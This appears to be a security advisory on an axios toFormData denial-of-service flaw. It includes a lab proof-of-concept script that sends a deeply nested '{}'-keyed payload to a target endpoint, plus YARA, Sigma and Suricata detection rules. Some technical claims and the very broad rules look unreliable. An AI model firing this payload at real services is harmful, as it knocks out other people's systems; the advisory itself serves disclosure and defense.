CVE-2026-67321

Executive Summary

CVE-2026-67321 is a denial-of-service vulnerability in the popular NPM package axios, affecting versions before 0.33.0. The flaw is located in toFormData.js, which is responsible for serializing JavaScript objects into FormData or URL-encoded payloads during HTTP requests. A bypass of the intended depth-limit check allows an attacker who controls object keys and nested values to trigger a RangeError from JSON.stringify, leading to a crash or resource exhaustion in the affected request path.

The official NVD record currently lists a CVSS score of 0.0 and no vector, which generally indicates an incomplete or placeholder assessment. The EPSS score is also 0.0%, meaning there is currently no reliable public evidence of active exploitation. However, the potential impact is real for applications that pass user-controlled JSON to axios form or parameter serialization. The availability impact is the primary concern; no confidentiality or integrity impact is implied.

Supply Chain & Package Security

axios is one of the most widely adopted HTTP clients in the JavaScript/NPM ecosystem. It is a transitive dependency in thousands of projects, including server-side Node.js applications and client-side bundlers. This vulnerability is particularly relevant to supply chain security because:

• Direct dependencies may be pinned to vulnerable versions.
• Transitive dependencies may still pull in axios < 0.33.0.
• Package lockfiles will not be updated unless explicitly refreshed.
• Runtime environments where user-controlled JSON reaches axios toFormData are at risk of availability degradation.

Organizations should verify their dependency trees, update axios to 0.33.0 or later, and re-run integrity checks on lockfiles. Because no public exploit or OSV patch metadata is currently available, version boundary analysis is the primary patch signal.

CVSS Breakdown & Threat Level

• Official NVD CVSS Score: 0.0
• CVSS Vector: UNKNOWN
• EPSS Probability: 0.0%
• MITRE ATT&CK Tactic: T1499 – Endpoint Denial of Service
• CWE: CWE-674 – Uncontrolled Recursion
• Patch Status: NVD shows UNKNOWN / UNPATCHED, but the description clearly indicates the fix landed in axios 0.33.0.

Since no vector is published, we cannot compute a precise CVSS v3.1 score. Based on the described behavior, the likely severity would be:

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

in scenarios where an authenticated attacker can submit arbitrary JSON to an endpoint that serializes it with axios. If the endpoint is anonymous, the vector could change to PR:N. The impact is denial of service via stack overflow inside the Node.js process handling the request.

Deep Dive & Mechanics

The vulnerable logic is inside toFormData.js in axios. Axios uses this module when a request data value is a plain object and the browser or Node.js environment requires FormData serialization. The utility also supports paramsSerializer for query string generation.

Axios intentionally supports special key notation:

{
  "user{}": {
    "id": 1,
    "name": "Alice"
  }
}

The above is transformed into something like:

user[id]=1&user[name]=Alice

The {} suffix on a top-level key tells axios to expand the nested object into a flat parameter list with bracket notation. This is a convenient pattern for nested HTML form fields.

To prevent stack exhaustion, axios enforces a maximum recursion depth. The bug is caused by an incomplete depth-limit bypass in the {} handling branch. In certain conditions, a top-level key ending in {} can recursively call the normalization logic without correctly incrementing the depth counter. An attacker can exploit this by constructing deeply nested objects under keys that end in {}:

{
  "a{}": {
    "a{}": {
      "a{}": {
        // ... continues past the depth limit
      }
    }
  }
}

Because the depth guard is not correctly applied to this branch, axios continues to recurse. Eventually, a call to JSON.stringify on the overly recursive structure throws:

RangeError: Maximum call stack size exceeded

This exception escapes the request path and results in denial of service for that operation. In long-running Node.js services, repeated exploitation can also cause elevated CPU usage, memory pressure, or process instability.

Vulnerable vs. Patched Code

The exact source was not provided via OSV or GitHub advisory, but the following simplified snippets show the conceptual flaw and fix.

Vulnerable Pattern (Illustrative)

const MAX_DEPTH = 10;

function serializeKey(key, value, path, depth) {
  if (depth > MAX_DEPTH) {
    return;
  }

  if (key.endsWith('{}')) {
    // Incomplete depth-limit bypass:
    // The recursive branch does not propagate depth + 1.
    for (const [childKey, childValue] of Object.entries(value)) {
      serializeKey(childKey, childValue, `${path}[${childKey}]`, depth);
    }
  } else {
    result[path] = value;
  }
}

Patched Pattern (Illustrative)

const MAX_DEPTH = 10;

function serializeKey(key, value, path, depth) {
  if (depth > MAX_DEPTH) {
    return;
  }

  if (key.endsWith('{}')) {
    // Correctly propagates the depth limit.
    for (const [childKey, childValue] of Object.entries(value)) {
      serializeKey(childKey, childValue, `${path}[${childKey}]`, depth + 1);
    }
  } else {
    result[path] = value;
  }
}

The patch ensures that the depth counter is incremented on every recursive call, even for keys that use the {} notation. This prevents the attacker from reaching the JSON.stringify call with an excessively deep object.

Exploitation & Lab Setup

No public ExploitDB code or Nuclei template is currently available. The following lab scenarios are provided for controlled testing.

Red Team

1. Install a vulnerable axios version in an isolated Node.js sandbox:

mkdir /tmp/axios-cve-lab
cd /tmp/axios-cve-lab
npm init -y
npm install axios@0.32.0

2. Create poc.js:

const axios = require('axios');

// Build an object that uses keys ending in '{}' to bypass the depth limit.
const payload = {};
let current = payload;

// This depth is sufficient to trigger a RangeError on most Node.js runtimes.
for (let i = 0; i < 50000; i++) {
  current['x{}'] = {};
  current = current['x{}'];
}

async function trigger() {
  try {
    await axios.post('https://target.local/api/upload', payload);
  } catch (err) {
    console.error('[VULN] Request failed:', err.message);
    if (err.message.includes('Maximum call stack size exceeded')) {
      console.error('[VULN] Successfully triggered CVE-2026-67321');
    }
  }
}

trigger();

3. Run the proof of concept:

node poc.js

If the target endpoint accepts arbitrary JSON and axios serializes it into FormData, the vulnerable branch will throw a RangeError and the request path will fail.

Blue Team

1. Use an isolated staging environment and never run the PoC against production.
2. Monitor Node.js application logs for RangeError and toFormData stack traces.
3. Enable request body size limits and nesting-depth limits at the HTTP middleware layer.
4. Use API gateways or WAFs to block requests that contain an abnormal number of {} keys in JSON bodies.
5. Test with a low-privilege service account and clean resource limits before and after the test.

Indicators of Compromise (IOCs)

There are no known malware implants or remote access artifacts for CVE-2026-67321. The indicators are primarily operational and log-based:

• RangeError: Maximum call stack size exceeded entries in application logs.
• Stack traces referencing toFormData.js or serializeObject.
• Unusually deep JSON payloads with keys ending in {}.
• A high volume of HTTP 500 or 502 responses from Node.js services.
• Increased CPU usage or memory consumption in the affected service container.
• Repeated HTTP requests with large, nested form-style parameters:
  • a{}[a{}][a{}][...]

Detection Engineering

The following detection content can help identify both exploit attempts and the resulting failures.

YARA Rule

rule AXIOS_CVE_2026_67321_DOS
{
    meta:
        author = "Valters IT"
        date = "2026-01-01"
        description = "Detects suspicious axios toFormData payloads and stack overflow log messages"
        cve = "CVE-2026-67321"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-67321"

    strings:
        $err1 = "RangeError" ascii
        $err2 = "Maximum call stack size exceeded" ascii
        $key1 = "{}" ascii
        $ctx1 = "toFormData" ascii
        $ctx2 = "axios" ascii

    condition:
        filesize < 5MB and
        (
            ($err1 and $err2) or
            ($key1 and ($ctx1 or $ctx2))
        )
}

Sigma Rule

title: Axios toFormData DoS Attempt - CVE-2026-67321
id: 404fff5e-3bd7-4c9e-a1d7-2b2c1a6b8867
status: experimental
description: Detects HTTP requests or application error logs indicating exploitation of CVE-2026-67321.
logsource:
    category: application
    product: nodejs
detection:
    selection_request:
        http.method: POST
        http.body|contains|all:
            - '{}'
    selection_error:
        log.level: error
        message|contains|all:
            - 'RangeError'
            - 'Maximum call stack size exceeded'
            - 'toFormData'
    condition: selection_request or selection_error
fields:
    - src_ip
    - user_agent
    - http.body
    - process
falsepositives:
    - Legitimate deep object serialization
    - Third-party request body contains '{}'
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"AXIOS CVE-2026-67321 toFormData DoS Payload"; flow:to_server,established; content:"{}"; http_client_body; reference:cve,2026-67321; classtype:attempted-dos; sid:20267321; rev:1;)

Remediation & Mitigation

• Upgrade axios to 0.33.0 or later:

  npm install axios@^0.33.0
  

• Refresh the package lockfile and verify resolved versions:

  npm audit
  npm ls axios
  

• Apply the same update to all transitive dependencies by re-running npm install or using a lockfile update tool such as npm update axios.
• If upgrading is not immediately possible, implement an application-level guard that rejects object keys ending in {} unless that feature is explicitly required.
• Enforce maximum JSON nesting depth in request parsing middleware.
• Limit HTTP request body size with body-parser, express.json({ limit: '100kb' }), or equivalent.
• Deploy WAF rules that flag excessive {} key patterns in request bodies.
• Monitor application logs for RangeError and toFormData references.
• Use OS-level process supervisors to restart workers if a request path crashes.
• Review Node.js runtime options such as stack size and heap limits with your operations team.

Valters IT